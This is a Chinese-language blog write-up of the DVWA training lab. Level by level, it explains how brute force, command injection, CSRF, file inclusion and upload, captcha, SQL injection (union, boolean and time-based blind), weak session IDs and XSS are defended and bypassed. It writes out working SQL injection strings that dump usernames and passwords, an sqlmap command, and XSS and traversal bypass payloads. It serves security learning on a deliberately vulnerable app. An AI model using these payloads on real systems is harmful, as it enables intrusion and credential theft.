侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

DVWA代码初窥

咿呀咿呀
2022-06-19 / 0 评论 / 0 点赞 / 171 阅读 / 9,611 字
温馨提示:
本文最后更新于 2022-06-19,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。
Brute Force
low

image-20220610141033281

wp

image-20220610141142534

Medium

image-20220610141707885

I. mysqli_real_escape_string(connection,escapestring);转义在 SQL 语句中使用的字符串中的特殊字符。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。

II. sleep(2)每运行一次程序休眠2秒,给爆破增加了时间,但依旧可以进行爆破

High

image-20220612101543026

增加了stripslashes()删除由 addslashes() 添加的反斜杠。

增加了token验证

sleep()随机0-3秒

但没有限制次数,仍然可以爆破

wp

image-20220612102717375

可以看见,页面中有个隐藏的token值

可以先去录制一个“宏”,提取token值,再添加会话规则,应用于所以会话,勾上总是允许重定向,爆破

image-20220612103743361

image-20220612103618378

Impossible

image-20220612102203943

image-20220612102234725

增加了限制次数:失败3次、锁定15分钟

Command Injection

常见连接符

  • A;B 先执行A,再执行B
  • A&B 简单拼接,AB之间无制约关系
  • A|B 显示B的执行结果
  • A&&B A执行成功,然后才会执行B
  • A||B A执行失败,然后才会执行B
Low

image-20220612104625932

stristr() 函数查找字符串在另一个字符串中第一次出现的位置

$target得到前端传来的IP,拼接到ping命令中,由shell_exec()执行ping命令

显示结果、无任何过滤

wp

image-20220612105720817

image-20220612105817911

image-20220612105915496

Medium

image-20220612111118655

增加了一个黑名单,过滤了&&;

wp

image-20220612171034293


High

image-20220612171544845

可以看见,增加了trim函数:移除字符串两侧的空白字符或其他预定义字符

黑名单范围扩大了

注意到第11行,过滤的是|[空格] ,这里是带有空格,可以不带空格绕过

wp

image-20220612171807622

Impossible

image-20220612172216985

增加了token验证,把输入的IP分为4个部分,每个部分分别验证是否为数字。

stripslashes() 函数删除由 addslashes()函数添加的反斜杠。

explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

is_numeric() 函数用于检测变量是否为数字或数字字符串。


CSRF
Low

image-20220612174208704

可以看见没有过滤输入、没有验证

wp

burpsuite中生成CSRF Poc ,访问

image-20220612174508046

Medium

image-20220612175038634

增加了( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
SERVER_NAME是要访问的主机名
过滤规则为http包头的Referer参数的值中是否包含主机名

wp

image-20220612175730779

image-20220612180251942

High

image-20220612181409033

$_SERVER保存关于报头、路径和脚本位置的信息

array_key_exists*()函数检查指定的键是否在数组中存在

可以看见 对提交方式是否为POST、传输类型是否为json做了判断后,再验证token

image-20220612181904137

image-20220612184808892

token值,手动刷新页面,然后复制,这里没调试好…

Impossible

image-20220612185911286

这里增加了对当前密码的判断


文件包含
Low

image-20220613071016971

无过滤

image-20220613071223727

Medium

image-20220613071109491

过滤了../,也过滤了http://``https://(远程文件包含)

可双写…/绕过

image-20220613072437545

只过滤完整http://,可双写绕过

image-20220613072102714

High

image-20220613072534207

page参数只认file开头的文件

可利用file:// 协议绕过

image-20220613072908803

Impossible

image-20220613073047652

这里加了白名单,只允许包含指定的php文件


文件上传
Low

image-20220612190208924

无过滤

image-20220612191031219

Medium

image-20220612191220336

对文件的类型和大小做了要求

wp

image-20220612191507150

High

image-20220612191950248

增加了对后缀名的判断,上传发现也要检测文件头

image-20220612192906649

再通过文件包含漏洞

image-20220612193608378


Impossible

image-20220612194021838

对上传文件重命名(MD5),加入Token,检查文件内容

不安全的验证码
Low

image-20220613094346969

image-20220613095419725

检查用户输入的验证码,验证码正确后,服务器返回表单

image-20220613095537432

这里仅仅通过检查参数Change、step=2 来判断用户是否已经输入正确的验证码。

image-20220613100349211

可以直接构造Change、step=2参数绕过验证码。

Medium

image-20220613100619948

增加了passed_captcha=true条件校验,在Low的数据包中添加上passed_captcha=true

image-20220613101405478

High

image-20220613105115276

增加了User-Agent: reCAPTCHAg-recaptcha-response=hidd3n_valu3 校验

image-20220613111650394

这里不知为啥服务器500

Impossible

image-20220613112033843

增加了CSRF Token,同时验证旧密码和验证码。

SQL注入
Low

image-20220613113151398

可以看见未做过滤

1'报错

image-20220613113232593

1"未报错

image-20220613113311471

说明是单引号闭合

1' order by 2# 确认列数2

image-20220613113439672

image-20220613113648764

image-20220613113625907

1' union select 1,database()# 确定数据库名

image-20220613113859919

查表名

当出现Illegal mix of collations for operation 'UNION'错误时,执行 alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()##

image-20220613165458931

查列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

image-20220613165600523

这里又出现Illegal mix of collations for operation 'UNION' 报错,修改排序规则即可

image-20220613170130261

列中的内容

1' union select group_concat(user),group_concat(password) from users#

image-20220613170311727

Medium

image-20220614073755457

这里使用了POST方式传输、mysqli_real_escape_string对SQL语句中使用的字符串进行转义,即单引号、双引号无法使用。这里的id参数是数值型,不需要引号,可以注入但无法写入webshell。

这里过滤了引号,大概意思可能是限制了一些查询语句,但可以使用16进制的ASCII码来绕过。

直接order by 确认列数:
2 不报错、3报错,缺列数为:2

image-20220616102641102

image-20220616102628065

确认回显位置

image-20220616102819270

查库名:

image-20220616102855360

查表明

image-20220616102937262

查列明:

image-20220616103108765

(0x7573657273是users的十六进制ascii码)

得到用户名和密码

image-20220616103300514

Hight

image-20220614074010943

limit 1限制显示的列数,但没有限制引号

输入和显示分开,各在一个页面。

image-20220616103828993

手工注入方式同上

sqlmap注入:

这里如果使用sqlmap,需要利用 --second-url=“xxxurl”(设置二阶响应的结果显示页面的url)

python sqlmap.py -r 001.txt --second-url "http://127.0.0.1:8088/vulnerabilities/sqli/" --batch

image-20220616104609085

Impossible

image-20220614074204615

可以看见采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”。CSRF token的加入也进一步提高了安全性。


SQL盲注
Low

image-20220616105048775

可以看见无过滤,查询到存在ID时,$exists为真,页面输出固定常量语句。

手工盲注的步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

基于布尔的盲注

1.判断是否存在注入,注入的类型
不管输入框输入为何内容,页面上只会返回以下2种情形的提示:
满足查询条件则返回"User ID exists in the database.“,不满足查询条件则返回"User ID is MISSING from the database.”;两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
输入1‘and 1=1 # User ID exists in the database.
输入1’and 1=2 # User ID is MISSING from the database.

二分法猜解表:
ASCII 码对照表
从表中看出,字符中,小写字母按顺序第一位a的ascii码是97

2.猜数据库名

函数功能
substr()函数
从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
mysql中的start是从1开始的

1’ and ascii(substr(database(),1,1))>97# 页面返回存在
1’ and ascii(substr(database(),1,1))>100# 页面返回不存在
1’ and ascii(substr(database(),1,1))<103# 页面返回存在
1’ and ascii(substr(database(),1,1))<100# 页面返回不存在
最终发现:数据库名的第一位字符的ascii码值为 100,则得到字母d
重复上述步骤,就可以猜解出完整的数据库名dvwa了。

3.猜表名
猜解表的个数

1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
有2个表

猜测表的长度:

1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9。

猜解表名称的组成

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。…
重复上述步骤,即可猜解出两个表名guestbookusers

4.猜解表中的字段名

猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 # 显示不存在

1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 # 显示存在
说明users表有8个字段。

猜解字段长度:

1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度。

猜解字段名:

采用二分法,即可猜解出所有字段名。

5.猜解数据

同样采用二分法。

基于时间的盲注

1.判断是否存在注入,注入是字符型还是数字型

sleep(n) :将程序挂起 n 秒后执行

1’ and sleep(5) #感觉到明显延迟;
1 and sleep(5) #没有延迟;
说明存在字符型的基于时间的盲注。

2.猜解当前数据库名

猜解数据名的长度:

1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4个字符。

猜解数据库名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。

3.猜解数据库中的表名

猜解数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。

猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为9个字符。
采用二分法即可猜解出表名。

4.猜解表中的字段名

猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有8个字段。

猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。

5.猜解数据
同样采用二分法。

Medium

image-20220616112142543

数值型注入,过滤了特殊字符

High

image-20220616112324376

image-20220616112352369

可以看见,利用cookie传递参数,当SQL查询为空时,会执行sleep(),干扰基于时间的盲注手法。

这里可以用基于布尔的注入完成(同上)

Impossible

image-20220616112811191

Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。


弱会话ID
Low

image-20220616113006630

session_id+1 易被伪造

image-20220616113510961

在火狐浏览器中,编辑cookie,刷新,即可直接进入系统

image-20220616113455723

Medium

image-20220616113650003

cookie内容增加了时间戳

image-20220616113818886

浏览器中cookie加上超前的时间戳即可进入

image-20220616145347108

High

image-20220616145454525

使用了setcookie函数来设置cookie

setcookie(name,value,expire,path,domain,secure,httponly)
 参数 	             描述
name 	    必需。规定cookie的名称。
value 	    必需。规定cookie的值。
expire   	可选。规定cookie的有效期。
path 	    可选。规定cookie的服务器路径。
domain 	    可选。规定cookie的域名。
secure 	    可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 	可选。规定是否Cookie仅可通过HTTP协议访问。

增加了md5计算了session值,但依然容易破解

image-20220617101107657

image-20220617101137471

Impossible

image-20220617102557125

mt_rand()返回随机整数

随机数+时间戳+“impossible”,sha1计算


XSS(DOM)
Low

image-20220617102951042

没有任何过滤

image-20220617103427091

查看源码知,xss语句 插入到了页面代码中

image-20220617103603192

Medium

image-20220617103655071

这里检查了default是否为空,不为空,就将获取到的值赋值给default。

stripos()查找字符串在另一字符串中第一次出现的位置(不区分大小写)。这里就过滤了<script

使用<img src=1 οnerrοr=('xss')>即可绕过,当然实验室要闭合标签

image-20220617104630137

English#</select><img%20src=1%20onerror=alert(1)> 这也行

High

image-20220617105355784

这里用了白名单校验。

采用【#】可以绕过后台效验,同时前端依旧安装原本请求的URL去获取数据。

image-20220617105511762

Impossible

image-20220617105547252

前端

image-20220617112246556

默认不解码,故无法被前端执行。


XS(Reflected)
Low

image-20220617112514243

判断name是否为空,不为空就输出name

image-20220617112723303

Medium

image-20220617112755658

多了一个过滤<script ,但可以大小写绕过

image-20220617112907987

High

image-20220617112932918

使用了正则表达式直接把 <script 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。这里<script>标签在这里就不能用了,但还可以使用img标签

image-20220617113353604

Impossible

image-20220617113514600

htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素。

还添加了CSRFtoken验证


XSS(Stored)
Low

image-20220617113932658

trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符

stripslashes(string): 去除掉string字符的反斜杠\

mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

可以看见,这里对输入的message和name 并没有进行过滤,而且数据存储在数据库中。

image-20220617114226890

image-20220617114148138

Medium

image-20220617114605324

htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素

增加了HTML实体编码

image-20220617143413975

message参数过滤了xss,但name参数值过滤了<script>标签,但name在前端输入时长度限制为10

抓包修改name参数绕过

High

image-20220617144626267

增加了name参数的正则匹配过滤<script>,使用img等其他标签即可绕过

Impossible

image-20220617144756452

可以看见name参数的过滤同样更加严格了,同时增加了CSRFtoken校验。

0

评论区